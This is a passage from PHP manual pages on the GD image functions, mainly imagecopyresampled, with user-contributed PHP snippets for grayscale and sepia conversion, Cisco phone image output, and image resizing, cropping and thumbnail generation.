    // works with jpg images
    // fell free to adapt to other formats ;)
    $fullPath = explode(".",$originalFileName);
    $lastIndex = sizeof($fullPath) - 1;
    $extension = $fullPath[$lastIndex];
    if (preg_match("/jpg|jpeg|JPG|JPEG/", $extension))
    {
        $sourceImage = imagecreatefromjpeg($originalFileName);
    }

    // get image dimensions
    $img_width  = imageSX($sourceImage);
    $img_height = imageSY($sourceImage);

    // convert to grayscale
    // note: this will NOT affect your original image, unless
    // originalFileName and destinationFileName are the same
    for ($y = 0; $y <$img_height; $y++)
    {
        for ($x = 0; $x <$img_width; $x++)
        {
            $rgb = imagecolorat($sourceImage, $x, $y);
            $red   = ($rgb >> 16) & 0xFF;
            $green = ($rgb >> 8)  & 0xFF;
            $blue  = $rgb & 0xFF;

          //sephia
            $red2 = min($red*.393 + $green*.769 + $blue*.189,255);
            $green2 = min($red*.349 + $green*.686 + $blue*.168,255);
            $blue2  = min($red*.272 + $green*.534 + $blue*.131,255);
            // shift gray level to the left

            $grayR = $red2 << 16;   // R: red
            $grayG = $green2 << 8 ;    // G: green
            $grayB = $blue2;         // B: blue

            // OR operation to compute gray value
            $grayColor = $grayR | $grayG | $grayB;

            // set the pixel color
            imagesetpixel ($sourceImage, $x, $y, $grayColor);
            imagecolorallocate ($sourceImage, $gray, $gray, $gray);
        }
    }

    // copy pixel values to new file buffer
    $destinationImage = ImageCreateTrueColor($img_width, $img_height);
    imagecopy($destinationImage, $sourceImage, 0, 0, 0, 0, $img_width, $img_height);

    // create file on disk
    imagejpeg($destinationImage, $destinationFileName);

    // destroy temp image buffers
    imagedestroy($destinationImage);
    imagedestroy($sourceImage);
?>
Mark Barba 15-Aug-2005 12:31
//  Using the same code I found here on php.net,
// I was able to figure out how to convert GIF (or any other
// format GD supports) to CIP format.  CIP is the image
// format for Cisco IP Phones...  7905/7940 and 7960
// models...  Hope someone finds this useful and make it
// better...

/////// GIF2CIP PHP code ///////

// Convert image in memory to grayscale
    $img_width  = imageSX($im2);
    $img_height = imageSY($im2);

   // convert to grayscale
   // note: this will NOT affect your original image, unless
   // originalFileName and destinationFileName are the same
   for ($y = 0; $y <$img_height; $y++) {
       for ($x = 0; $x <$img_width; $x++) {
           $rgb = imagecolorat($im2, $x, $y);
           $red  = ($rgb >> 16) & 0xFF;
           $green = ($rgb >> 8)  & 0xFF;
           $blue  = $rgb & 0xFF;

           $gray = round(.299*$red + .587*$green + .114*$blue);

           // shift gray level to the left
           $grayR = $gray << 16;  // R: red
           $grayG = $gray << 8;    // G: green
           $grayB = $gray;        // B: blue

           // OR operation to compute gray value
           $grayColor = $grayR | $grayG | $grayB;

           // set the pixel color
           imagesetpixel ($im2, $x, $y, $grayColor);
           imagecolorallocate ($im2, $gray, $gray, $gray);
       }
   }
/////////////////////////////////////////////////////////

    // Modifies palette to only 4-colors (CIP Images on 7905/7940 & 7960 is 2-bit color)
    ImageTrueColorToPalette2($im2,FALSE,4);

    // Basic header for CIP Image files...
    header ("Content-type: text/xml");
    echo "<CiscoIPPhoneImage> ";
    echo "<LocationX>-1</LocationX> ";
    echo "<LocationY>-1</LocationY> ";
    echo "<Width>132</Width> ";
    echo "<Height>65</Height> ";
    echo "<Depth>2</Depth> ";
    echo "<Data>";

// get image dimensions (almost same code as above)
   $img_width  = imageSX($im2);
   $img_height = imageSY($im2);

   // convert to grayscale
   // note: this will NOT affect your original image, unless
   // originalFileName and destinationFileName are the same
   for ($y = 0; $y <$img_height; $y++) {
       for ($x = 0; $x+4 <$img_width; $x = $x+4)
       {
            for ($ix = 0; $ix < 4; $ix++)
            {
               $rgb = imagecolorat($im2, $x + $ix, $y);

               // I came up with this translation on my own
               // Some smart person is bound to perfect it
               if ($rgb=="2") {$rgb=0;$Gray1[$ix] = $rgb;continue;}
               if ($rgb=="0") {$rgb=2;$Gray1[$ix] = $rgb;continue;}
               if ($rgb=="1") {$rgb=1;$Gray1[$ix] = $rgb;continue;}
               if ($rgb=="3") {$rgb=3;$Gray1[$ix] = $rgb;continue;}
           }
                $gray1 = $Gray1[0];
                $gray2 = $Gray1[1] << 2;
                $gray3 = $Gray1[2] << 4;
                $gray4 = $Gray1[3] << 6;

                // Pack 4 pixels into a single byte for CIP images
                $grey = $gray1 | $gray2 | $gray3 | $gray4;

                // CIP image data is sent in HEX, strtoupper is not really needed.
                $code = strtoupper(dechex($grey));

                // My quick fix to padding single HEX values
                if (strlen($code)==1) $code = "0".$code;
                echo $code;

       }

   }
    echo "</Data>";
    echo "<Title>$myvar</Title> ";
    echo "<Prompt>$city</Prompt> ";
    echo "</CiscoIPPhoneImage>";
    exit;
switch251 at netcourrier dot com 15-Apr-2004 07:18
In addition to code_couturier too: his code will produce blue pictures, because the value he uses to set the pixel color (the code is incomplete: I first thought it should be $gray) is between 0 and 255, which corresponds to blue levels.

To convert the picture to grayscale, use the following code:

<?php
    // replace with your files
    $originalFileName    = "colorPicture.jpg";
    $destinationFileName = "bwPicture.jpg";

    // create a copy of the original image
    // works with jpg images
    // fell free to adapt to other formats ;)
    $fullPath = explode(".",$originalFileName);
    $lastIndex = sizeof($fullPath) - 1;
    $extension = $fullPath[$lastIndex];
    if (preg_match("/jpg|jpeg|JPG|JPEG/", $extension)){
        $sourceImage = imagecreatefromjpeg($originalFileName);
    }

    // get image dimensions
    $img_width  = imageSX($sourceImage);
    $img_height = imageSY($sourceImage);

    // convert to grayscale
    // note: this will NOT affect your original image, unless
    // originalFileName and destinationFileName are the same
    for ($y = 0; $y <$img_height; $y++) {
        for ($x = 0; $x <$img_width; $x++) {
            $rgb = imagecolorat($sourceImage, $x, $y);
            $red   = ($rgb >> 16) & 0xFF;
            $green = ($rgb >> 8)  & 0xFF;
            $blue  = $rgb & 0xFF;

            $gray = round(.299*$red + .587*$green + .114*$blue);

            // shift gray level to the left
            $grayR = $gray << 16;   // R: red
            $grayG = $gray << 8;    // G: green
            $grayB = $gray;         // B: blue

            // OR operation to compute gray value
            $grayColor = $grayR | $grayG | $grayB;

            // set the pixel color
            imagesetpixel ($sourceImage, $x, $y, $grayColor);
            imagecolorallocate ($sourceImage, $gray, $gray, $gray);
        }
    }

    // copy pixel values to new file buffer
    $destinationImage = ImageCreateTrueColor($img_width, $img_height);
    imagecopy($destinationImage, $sourceImage, 0, 0, 0, 0, $img_width, $img_height);

    // create file on disk
    imagejpeg($destinationImage, $destinationFileName);

    // destroy temp image buffers
    imagedestroy($destinationImage);
    imagedestroy($sourceImage);
?>

Copy-paste, replace the file names on the top and there you go (picture files must be in same folder as this script. If not, you will have to do your own file management).
annonymous at example dot com 15-Feb-2004 04:25
in addition to code_couturier - try this formula to calculate gray-value (luminance) in his "more exact" way:

$gray = round(.299*$red + .587*$green + .114*$blue);
code_couturier at graffiti dot net 18-Oct-2003 12:08
# very fast way to generate a grayscal-
# image from a true color image

#...

# --- quick grayscale image
for ($y = 0; $y <$img_height; $y++) {
 for ($x = 0; $x <$img_width; $x++) {

 # here we extract the green from
 # the pixel at x,y , to use it as gray value
 $gray = (ImageColorAt($image, $x, $y) >> 8) & 0xFF;

 # a more exact way would be this:
 # $rgb = ImageColorAt($image, $x, $y);
 # $red = ($rgb >> 16) & 0xFF;
 # $green = (trgb >> 8) & 0xFF;
 # $blue = $rgb & 0xFF;
 # $gray = (int)(($red+$green+$blue)/4);

 # and here we set the new pixel/color
  imagesetpixel ($image, $x, $y,
  ImageColorAllocate ($image, $gray,$gray,$gray));
 }
}

# ...
mail at laeubi dot de 09-Oct-2003 12:45
This function don't work properly for me on trucolerimages (have not tried yet for other types) it jsut produce a part-grayscale image, and some color get mesed up.
I found a workaround here:
http://www.phpbuilder.com/columns/cash20030526.php3?page=2

[quote]
Advanced Image Editing Under the GD Library
Colorizing
Colorizing images is fairly easy to do. The easiest way to colorize an image is fairly simple to grasp. Create an image of the same dimensions and fill that image with the color you want to change it to. This new image is then placed on top of the older image, giving it a colorized look.

<?php
function imagecolorize(&$im,&$col,$pct) {
    // Get the image's width
    $im_w = imagesx($im);
    // Get the image's height
    $im_h = imagesy($im);
    // Set a pixel with the color, so we can get it easily
    $setpixel = imagesetpixel($im,$im_w,0,$col);
    // Get the color
    $index = imagecolorat($im,$im_w,0);
    // Find the color in the index
    $rgb = imagecolorsforindex($im,$index);
    // Get the red value
    $r = $rgb["red"];
    // Get the green value
    $g = $rgb["green"];
    // Get the blue value
    $b = $rgb["blue"];
    // Create the layover
    $layover = imagecreate($im_w,$im_h);
    // Allocate the color on this image
    $color = imagecolorallocate($layover,$r,$g,$b);
    // Fill the image with the new color (this really isn't needed)
    $fill = imagefill($layover,0,0,$color);
    // Merge the layover on top of the older image
    $merge = imagecopymerge($im,$layover,0,0,0,0,$im_w,$im_h,$pct);
    imagedestroy($layover); // Destroy the layover
}
?>

If we use a blue layover RGB(0,0,255), we get this result:
[/quote]

if you use black or gray, its not perfekt, but better than nothing ;)


再サンプリングを行いイメージの一部をコピー、伸縮する

  • ≪ imagecopymergegray
  • imagecopyresized ≫
  • PHP Manual
  • GD および Image 関数
  • 再サンプリングを行いイメージの一部をコピー、伸縮する

imagecopyresampled

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagecopyresampled — 再サンプリングを行いイメージの一部をコピー、伸縮する

説明

imagecopyresampled ( resource $dst_image , resource $src_image , int $dst_x , int $dst_y , int $src_x , int $src_y , int $dst_w , int $dst_h , int $src_w , int $src_h ) : bool

imagecopyresampled() は、イメージの矩形の部分 を別のイメージにコピーします。同時にピクセル値を滑らかに補間を行い、 このため、特にサイズを小さくした場合には鮮明さが維持されます。

言い換えると、imagecopyresampled() は src_image の座標 (src_x,src_y) にある 幅 src_w、高さ src_h の矩形領域を受け取って、それを dst_image の座標 (dst_x,dst_y) にある幅 dst_w、高さ dst_h の矩形領域に配置します。

コピー元とコピー先の座標、幅、高さが異なる場合には、 適当なイメージ伸縮が行われます。座標は、左上を基準とします。 この関数は、同じイメージ内の領域にコピーする場合にも使用可能です (dst_image が src_image と同じ場合) が、領域が重なる場合の結果は予測できません。

パラメータ

dst_image

コピー先の画像リソース。

src_image

コピー元の画像リソース。

dst_x

コピー先の x 座標。

dst_y

コピー先の y 座標。

src_x

コピー元の x 座標。

src_y

コピー元の y 座標。

dst_w

コピー先の幅。

dst_h

コピー先の高さ。

src_w

コピー元の幅。

src_h

コピー元の高さ。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 単純な例

この例は、イメージをオリジナルの半分のサイズに再サンプルします。

<?php
// ファイル
$filename = 'test.jpg';
$percent = 0.5;

// コンテントタイプ
header('Content-Type: image/jpeg');

// 新規サイズを取得します
list($width, $height) = getimagesize($filename);
$new_width = $width * $percent;
$new_height = $height * $percent;

// 再サンプル
$image_p = imagecreatetruecolor($new_width, $new_height);
$image = imagecreatefromjpeg($filename);
imagecopyresampled($image_p, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

// 出力
imagejpeg($image_p, null, 100);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : 単純な例

例2 イメージを均等に再サンプルする

この例は最大の幅もしくは高さが 200 ピクセルのイメージを表示します。

<?php
// ファイル
$filename = 'test.jpg';

// 最大の高さ・幅を設定します
$width = 200;
$height = 200;

// コンテントタイプ
header('Content-Type: image/jpeg');

// 新規サイズを取得します
list($width_orig, $height_orig) = getimagesize($filename);

$ratio_orig = $width_orig/$height_orig;

if ($width/$height > $ratio_orig) {
   $width = $height*$ratio_orig;
} else {
   $height = $width/$ratio_orig;
}

// 再サンプル
$image_p = imagecreatetruecolor($width, $height);
$image = imagecreatefromjpeg($filename);
imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);

// 出力
imagejpeg($image_p, null, 100);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : イメージを均等に再サンプルする

注意

注意:

パレットイメージの制限(255+1色)による問題があります。 カラーの再サンプリングやフィルタリングには通常は255色以上の色が 必要となります。再サンプルするピクセルとその色を計算するために ある種の近似計算が使用されます。パレットに新しい色を割り当てよう として失敗すると、(理論的に)最も近い色が選択されます。 それは必ずしも常に可視色とは限りません。そのため、 空白(あるいは不可視な)といった不可思議な結果がもたらされます。 この問題を回避するには、imagecreatetruecolor()で 生成されるようなTrueカラーイメージを目的のイメージとして 使用してください。

参考

  • imagecopyresized() - 画像の一部をコピーしサイズを変更する
  • imagescale() - 幅と高さを指定して、画像の縮尺を変更する
  • imagecrop() - 指定した矩形に画像をクロップする

User Contributed Notes

aykuty at gmail dot com 14-Nov-2018 08:21
scale image with ratio and then completes to the canvas size by centering

<?php

/*
verilen maksimum de?erlere gore resmi boyutland?r?r ve beyaz renk ile cerceveye ortalar. trendyol entegrasyonu icin yazm??t?m.

Aykut YILDIZGORUR
aykuty add gmail dot com
*/

function set_image2canvas($file, $new_file, $canvas_width=1200, $canvas_height =1800, $quality=100) {

    if (!file_exists( $new_file )) {

        list($width, $height, $type, $attr) = getimagesize( $file );

        if($width> $height) {
                $width_tt=$canvas_width;
                $height_tt=round($height/$width*$canvas_width);
                $off_y = ceil(( $canvas_height - $height_tt)/2);
                $off_x=0;

        } else {
                $height_tt=$canvas_height;
                $width_tt=round($width/$height*$canvas_height);
                $off_x=ceil(($canvas_width - $width_tt)/2);
                $off_y=0;
        }

        $thumb=imagecreatefromjpeg( $file );
        $thumb_p = imagecreatetruecolor($canvas_width, $canvas_height);

        $bg = imagecolorallocate ( $thumb_p, 255, 255, 255 );
        imagefill ( $thumb_p, 0, 0, $bg );
        imagecopyresampled($thumb_p, $thumb, $off_x, $off_y, 0, 0, $width_tt, $height_tt, $width, $height);

        imagejpeg($thumb_p,$new_file,$quality);

    }else{ //hedef resim zaten var
            return -1;
    }
}
?>
julien at go-on-web dot com 02-Apr-2014 08:59
Windows does not accept floating width and height...

So, in "Example #2 Resampling an image proportionally", prefer :
<?php
if ($width/$height > $ratio_orig) {
   $width = round( $height*$ratio_orig );
} else {
   $height = round( $width/$ratio_orig );
}
?>
(used "round")
otherwise your image wont be resized.
kazuya 11-Mar-2014 02:24
<?php

$new_file = img_resize("./img/", "test.jpg","copy_test.jpg",300);
echo "<IMG src = '$new_file'>";

function img_resize($path,$tmp_name,$new_name,$new_width){
    if (!file_exists($path.$filename)){
        echo "file not found!";
        exit;
    }
    if (!is_writable($path)){
        echo "error:permission denied!";
        exit;
    }
    list($width, $height) = getimagesize($path . $tmp_name);
    $new_height = abs($new_width * $height / $width);
    $image_p = imagecreatetruecolor($new_width, $new_height);
    $image = imagecreatefromjpeg($path . $tmp_name);
    imagecopyresampled($image_p, $image, 0, 0, 0, 0,
                        $new_width, $new_height, $width, $height);
    imagejpeg($image_p, $path . $new_name);
    return $path.$new_name;
}

?>
sam at durosoft.com 17-Aug-2013 06:18
The ultimate smart image re-sizing routine. You provide the original image, and a desired width and/or height. The function will intelligently re-size the original image to fit, centered, within the specified dimensions. Either width or height can be omitted to have the re-size "lock" only on width or height. Fantastic for thumbnail generation. Designed to work with PNG's.

function resize_image_smart($orig, $dest_width=null, $dest_height=null)
{
  $orig_width = imagesx($orig);
  $orig_height = imagesy($orig);
  $vertical_offset = 0;
  $horizontal_offset = 0;
  if($dest_width == null)
  {
    if($dest_height == null)
    {
      die('$dest_width and $dest_height cant both be null!');
    }
    // height is locked
    $dest_width = $dest_height * $orig_width / $orig_height;
  } else {
    if($dest_height == null)
    {
      // width is locked
      $dest_height = $dest_width * $orig_height / $orig_width;
    } else {
      // both dimensions are locked
      $vertical_offset = $dest_height - ($orig_height * $dest_width) / $orig_width;
      $horizontal_offset = $dest_width - ($dest_height * $orig_width) / $orig_height;
      if($vertical_offset < 0) $vertical_offset = 0;
      if($horizontal_offset < 0) $horizontal_offset = 0;
    }
  }
  $img = imagecreatetruecolor($dest_width, $dest_height);
  imagesavealpha($img, true);
  imagealphablending($img, false);
  $transparent = imagecolorallocatealpha($img, 0, 0, 0, 127);
  imagefill($img, 0, 0, $transparent);
  imagecopyresampled($img, $orig, round($horizontal_offset / 2),
                                  round($vertical_offset / 2),
                                  0,
                                  0,
                                  round($dest_width - $horizontal_offset),
                                  round($dest_height - $vertical_offset),
                                  $orig_width,
                                  $orig_height);
  return $img;
}
wbcarts at juno dot com 18-Jul-2013 07:14
FOUR RECTANGLES

                  $src_image                                   $dst_image
+------------+---------------------------------+   +------------+--------------------+
|            |                                 |   |            |                    |
|            |                                 |   |         $dst_y                  |
|            |                                 |   |            |                    |
|         $src_y                               |   +-- $dst_x --+----$dst_width----+ |
|            |                                 |   |            |                  | |
|            |                                 |   |            |    Resampled     | |
|            |                                 |   |            |                  | |
+-- $src_x --+------ $src_width ------+        |   |       $dst_height             | |
|            |                        |        |   |            |                  | |
|            |                        |        |   |            |                  | |
|            |                        |        |   |            |                  | |
|            |                        |        |   |            +------------------+ |
|            |        Sample          |        |   |                                 |
|            |                        |        |   |                                 |
|            |                        |        |   |                                 |
|       $src_height                   |        |   |                                 |
|            |                        |        |   +---------------------------------+
|            |                        |        |
|            |                        |        |
|            +------------------------+        |
|                                              |
|                                              |
+----------------------------------------------+
hoangvu4000 at gmail dot com 26-May-2013 05:50
My complete function to resize an image  with exif data

<?php
function CreateThumbnail($pic,$thumb,$thumbwidth, $quality = 100)
{

        $im1=ImageCreateFromJPEG($pic);
        if(function_exists("exif_read_data")){
                $exif = exif_read_data($pic);
                if(!empty($exif['Orientation'])) {
                switch($exif['Orientation']) {
                case 8:
                    $im1 = imagerotate($im1,90,0);
                    break;
                case 3:
                    $im1 = imagerotate($im1,180,0);
                    break;
                case 6:
                    $im1 = imagerotate($im1,-90,0);
                    break;
                }
                }
        }
        $info = @getimagesize($pic);

        $width = $info[0];

        $w2=ImageSx($im1);
        $h2=ImageSy($im1);
        $w1 = ($thumbwidth <= $info[0]) ? $thumbwidth : $info[0]  ;

        $h1=floor($h2*($w1/$w2));
        $im2=imagecreatetruecolor($w1,$h1);

        imagecopyresampled ($im2,$im1,0,0,0,0,$w1,$h1,$w2,$h2);
        $path=addslashes($thumb);
        ImageJPEG($im2,$path,$quality);
        ImageDestroy($im1);
        ImageDestroy($im2);

}
?>
alex-thennstaett-remove at gmx dot net 10-Nov-2012 05:06
Having updated GD-Library from 2.0.35-r1 to 2.0.35-r3 using negative numbers for $dstX or $dstY started to produce unpredictable results, such as inserting shrinked images and enlarging $dstH or $dstW all by itself. While it did work fine previously, one should avoid using or calculating negative numbers for imagecopyresampled from the beginning.
promaty at gmail dot com 18-May-2011 05:26
Here is my ultimate image resizer that preserves transparency for gif's and png's and has an option to crop images to fixed dimensions (preserves image proportions by default)

<?php
function image_resize($src, $dst, $width, $height, $crop=0){

  if(!list($w, $h) = getimagesize($src)) return "Unsupported picture type!";

  $type = strtolower(substr(strrchr($src,"."),1));
  if($type == 'jpeg') $type = 'jpg';
  switch($type){
    case 'bmp': $img = imagecreatefromwbmp($src); break;
    case 'gif': $img = imagecreatefromgif($src); break;
    case 'jpg': $img = imagecreatefromjpeg($src); break;
    case 'png': $img = imagecreatefrompng($src); break;
    default : return "Unsupported picture type!";
  }

  // resize
  if($crop){
    if($w < $width or $h < $height) return "Picture is too small!";
    $ratio = max($width/$w, $height/$h);
    $h = $height / $ratio;
    $x = ($w - $width / $ratio) / 2;
    $w = $width / $ratio;
  }
  else{
    if($w < $width and $h < $height) return "Picture is too small!";
    $ratio = min($width/$w, $height/$h);
    $width = $w * $ratio;
    $height = $h * $ratio;
    $x = 0;
  }

  $new = imagecreatetruecolor($width, $height);

  // preserve transparency
  if($type == "gif" or $type == "png"){
    imagecolortransparent($new, imagecolorallocatealpha($new, 0, 0, 0, 127));
    imagealphablending($new, false);
    imagesavealpha($new, true);
  }

  imagecopyresampled($new, $img, 0, 0, $x, 0, $width, $height, $w, $h);

  switch($type){
    case 'bmp': imagewbmp($new, $dst); break;
    case 'gif': imagegif($new, $dst); break;
    case 'jpg': imagejpeg($new, $dst); break;
    case 'png': imagepng($new, $dst); break;
  }
  return true;
}
?>

Example that I use when uploading new images to the server.

This saves the original picture in the form:
original.type

and creates a new thumbnail:
100x100.type

<?php
  $pic_type = strtolower(strrchr($picture['name'],"."));
  $pic_name = "original$pic_type";
  move_uploaded_file($picture['tmp_name'], $pic_name);
  if (true !== ($pic_error = @image_resize($pic_name, "100x100$pic_type", 100, 100, 1))) {
    echo $pic_error;
    unlink($pic_name);
  }
  else echo "OK!";
?>

Cheers!
guru_boy87 at hotmail dot com 23-Jun-2010 04:52
Function to resize an image.

<?php
function resizeImage($originalImage,$toWidth,$toHeight)
{

    list($width, $height) = getimagesize($originalImage);
    $xscale=$width/$toWidth;
    $yscale=$height/$toHeight;

    if ($yscale>$xscale){
        $new_width = round($width * (1/$yscale));
        $new_height = round($height * (1/$yscale));
    }
    else {
        $new_width = round($width * (1/$xscale));
        $new_height = round($height * (1/$xscale));
    }

    $imageResized = imagecreatetruecolor($new_width, $new_height);
    $imageTmp     = imagecreatefromjpeg ($originalImage);
    imagecopyresampled($imageResized, $imageTmp, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

    return $imageResized;

}
?>
seifer at loveletslive dot com 25-Oct-2009 05:27
Okay so I saw that others have posted this already but I just messed around and made it so figured I would share it.

Mine works, not to say others don't, I haven't tested them.

This function creates a thumbnail of the specfied size.
If the thumbnail is a different ration it will automatically crop the center of the source image.

It works if the source image is bigger or smaller than the desired "cropped thumbnail."

Here is the code...
<?php
function CroppedThumbnail($imgSrc,$thumbnail_width,$thumbnail_height) { //$imgSrc is a FILE - Returns an image resource.
    //getting the image dimensions
    list($width_orig, $height_orig) = getimagesize($imgSrc);
    $myImage = imagecreatefromjpeg($imgSrc);
    $ratio_orig = $width_orig/$height_orig;

    if ($thumbnail_width/$thumbnail_height > $ratio_orig) {
       $new_height = $thumbnail_width/$ratio_orig;
       $new_width = $thumbnail_width;
    } else {
       $new_width = $thumbnail_height*$ratio_orig;
       $new_height = $thumbnail_height;
    }

    $x_mid = $new_width/2;  //horizontal middle
    $y_mid = $new_height/2; //vertical middle

    $process = imagecreatetruecolor(round($new_width), round($new_height));

    imagecopyresampled($process, $myImage, 0, 0, 0, 0, $new_width, $new_height, $width_orig, $height_orig);
    $thumb = imagecreatetruecolor($thumbnail_width, $thumbnail_height);
    imagecopyresampled($thumb, $process, 0, 0, ($x_mid-($thumbnail_width/2)), ($y_mid-($thumbnail_height/2)), $thumbnail_width, $thumbnail_height, $thumbnail_width, $thumbnail_height);

    imagedestroy($process);
    imagedestroy($myImage);
    return $thumb;
}

//Create the thumbnail
$newThumb = CroppedThumbnail("MyImageName.jpg",75,100);

// And display the image...
header('Content-type: image/jpeg');
imagejpeg($newThumb);
?>
michael at heymichael dot com 22-Oct-2009 10:08
imagecopyresampled() works amazingly well, but here is something NOT to try with it:

The resize routine I wrote looks for pixel widths, and resizes images based on the notion that if their widths and heights are too big, so are their byte sizes. It worked out well at first.

But when I saw huge byte-size images slipping through beneath my 1000px-wide benchmark, I figured I'd subject the smaller-width images to resizing if their filesize() exceeded 100K.

The idea was that I'd "resize" them keeping their original widths and heights (i.e. in (1) below, $newW = $oldW, $newH = $oldH), and letting the "75" at (2) below reduce the byte size.

DON'T try that. imagecopyresampled() will lock up the server trying to resize an 800px-wide image to a "new" width of 800px. (I caught that on my Windows server before ever putting it on the destination Linux server, so take that with a grain of salt.)

I got around it by making $newW = ($picW * 0.99), etc. You get the byte-size reduction you want without locking up.

(1) imagecopyresampled($image_p, $image, 0, 0, 0, 0, $newW, $newH, $picW, $picH);

(2) imagejpeg($image_p, $theFile, 75);
asgaroth dot belem at gmail dot com 27-Aug-2009 12:42
In case you are having trouble ( like I did ) and getting some kind of noise in the resampled image.

then changing imagecopyresampled() with imagecopyresized()  removes the noise, found that here: http://bugs.php.net/bug.php?id=45030

Do not ask me why. but it works.
asgaroth dot belem at gmail dot com 26-Aug-2009 11:38
About preserving the  transparency when resizing PNGs this was the only thing that worked for me:

<?php imagealphablending($new_watermark, false);
        $color = imagecolortransparent($new_watermark, imagecolorallocatealpha($new_watermark, 0, 0, 0, 127));
        imagefill($new_watermark, 0, 0, $color);
        imagesavealpha($new_watermark, true);
        imagecopyresampled($new_watermark, $watermark, 0, 0, 0, 0, $new_watermark_width, $new_watermark_height, imagesx($watermark),imagesy($watermark));
?>

Tried without success:

<?php imagealphablending($new_watermark, false);
        $color = imagecolortransparent($new_watermark, imagecolorallocate($new_watermark, 0, 0, 0));
        imagefill($new_watermark, 0, 0, $color);
        imagesavealpha($new_watermark, true);
        imagecopyresampled($new_watermark, $watermark, 0, 0, 0, 0, $new_watermark_width, $new_watermark_height, imagesx($watermark),imagesy($watermark));
 ?>

hope it helps someone.
z3n666 at gmail dot com 27-Apr-2009 11:19
I was looking around and couldn't find a function that resizes images to any ratio without leaving a blank area, so i wrote this one. It's able to resize images to any size ratio, when the ratio is no match with the original it will crop proportional area on the original and resize it.

<?php

function _ckdir($fn) {
    if (strpos($fn,"/") !== false) {
        $p=substr($fn,0,strrpos($fn,"/"));
        if (!is_dir($p)) {
            _o("Mkdir: ".$p);
            mkdir($p,777,true);
        }
    }
}
function img_resizer($src,$quality,$w,$h,$saveas) {
    /* v2.5 with auto crop */
    $r=1;
    $e=strtolower(substr($src,strrpos($src,".")+1,3));
    if (($e == "jpg") || ($e == "peg")) {
        $OldImage=ImageCreateFromJpeg($src) or $r=0;
    } elseif ($e == "gif") {
        $OldImage=ImageCreateFromGif($src) or $r=0;
    } elseif ($e == "bmp") {
        $OldImage=ImageCreateFromwbmp($src) or $r=0;
    } elseif ($e == "png") {
        $OldImage=ImageCreateFromPng($src) or $r=0;
    } else {
        _o("Not a Valid Image! (".$e.") -- ".$src);$r=0;
    }
    if ($r) {
        list($width,$height)=getimagesize($src);
        // check if ratios match
        $_ratio=array($width/$height,$w/$h);
        if ($_ratio[0] != $_ratio[1]) { // crop image

            // find the right scale to use
            $_scale=min((float)($width/$w),(float)($height/$h));

            // coords to crop
            $cropX=(float)($width-($_scale*$w));
            $cropY=(float)($height-($_scale*$h));

            // cropped image size
            $cropW=(float)($width-$cropX);
            $cropH=(float)($height-$cropY);

            $crop=ImageCreateTrueColor($cropW,$cropH);
            // crop the middle part of the image to fit proportions
            ImageCopy(
                $crop,
                $OldImage,
                0,
                0,
                (int)($cropX/2),
                (int)($cropY/2),
                $cropW,
                $cropH
            );
        }

        // do the thumbnail
        $NewThumb=ImageCreateTrueColor($w,$h);
        if (isset($crop)) { // been cropped
            ImageCopyResampled(
                $NewThumb,
                $crop,
                0,
                0,
                0,
                0,
                $w,
                $h,
                $cropW,
                $cropH
            );
            ImageDestroy($crop);
        } else { // ratio match, regular resize
            ImageCopyResampled(
                $NewThumb,
                $OldImage,
                0,
                0,
                0,
                0,
                $w,
                $h,
                $width,
                $height
            );
        }
        _ckdir($saveas);
        ImageJpeg($NewThumb,$saveas,$quality);
        ImageDestroy($NewThumb);
        ImageDestroy($OldImage);
    }
    return $r;
}

?>
satanas147 at gmail dot com 02-Apr-2009 08:33
Another add-on to previous php5 class for thumbnail (with a merge of Matt and Zorro's proposals).
This is dedicated to generate thumbnail on the fly for a webpage using the subclass thumbnail.
It saves the generated thumb as myimage_tn, in the same directory.
I'm quite new with php5, so I think this could be optimized, but it seems to work fine.

<?php
// Imaging
class imaging
{
    // Variables
    private $img_input;
    private $img_output;
    private $img_src;
    private $format;
    private $quality = 80;
    private $x_input;
    private $y_input;
    private $x_output;
    private $y_output;
    private $resize;

    // Set image
    public function set_img($img)
    {
        // Find format
        $ext = strtoupper(pathinfo($img, PATHINFO_EXTENSION));
        // JPEG image
        if(is_file($img) && ($ext == "JPG" OR $ext == "JPEG"))
        {
            $this->format = $ext;
            $this->img_input = ImageCreateFromJPEG($img);
            $this->img_src = $img;
        }
        // PNG image
        elseif(is_file($img) && $ext == "PNG")
        {
            $this->format = $ext;
            $this->img_input = ImageCreateFromPNG($img);
            $this->img_src = $img;
        }
        // GIF image
        elseif(is_file($img) && $ext == "GIF")
        {
            $this->format = $ext;
            $this->img_input = ImageCreateFromGIF($img);
            $this->img_src = $img;
        }
        // Get dimensions
        $this->x_input = imagesx($this->img_input);
        $this->y_input = imagesy($this->img_input);
    }

    // Set maximum image size (pixels)
    public function set_size($max_x = 100,$max_y = 100)
    {
        // Resize
        if($this->x_input > $max_x || $this->y_input > $max_y)
        {
            $a= $max_x / $max_y;
            $b= $this->x_input / $this->y_input;
            if ($a<$b)
            {
                $this->x_output = $max_x;
                $this->y_output = ($max_x / $this->x_input) * $this->y_input;
            }
            else
            {
                $this->y_output = $max_y;
                $this->x_output = ($max_y / $this->y_input) * $this->x_input;
            }
            // Ready
            $this->resize = TRUE;
        }
        // Don't resize
        else { $this->resize = FALSE; }
    }
    // Set image quality (JPEG only)
    public function set_quality($quality)
    {
        if(is_int($quality))
        {
            $this->quality = $quality;
        }
    }
    // Save image
    public function save_img($path)
    {
        // Resize
        if($this->resize)
        {
            $this->img_output = ImageCreateTrueColor($this->x_output, $this->y_output);
            ImageCopyResampled($this->img_output, $this->img_input, 0, 0, 0, 0, $this->x_output, $this->y_output, $this->x_input, $this->y_input);
        }
        // Save JPEG
        if($this->format == "JPG" OR $this->format == "JPEG")
        {
            if($this->resize) { imageJPEG($this->img_output, $path, $this->quality); }
            else { copy($this->img_src, $path); }
        }
        // Save PNG
        elseif($this->format == "PNG")
        {
            if($this->resize) { imagePNG($this->img_output, $path); }
            else { copy($this->img_src, $path); }
        }
        // Save GIF
        elseif($this->format == "GIF")
        {
            if($this->resize) { imageGIF($this->img_output, $path); }
            else { copy($this->img_src, $path); }
        }
    }
    // Get width
    public function get_width()
    {
        return $this->x_input;
    }
    // Get height
    public function get_height()
    {
        return $this->y_input;
    }
    // Clear image cache
    public function clear_cache()
    {
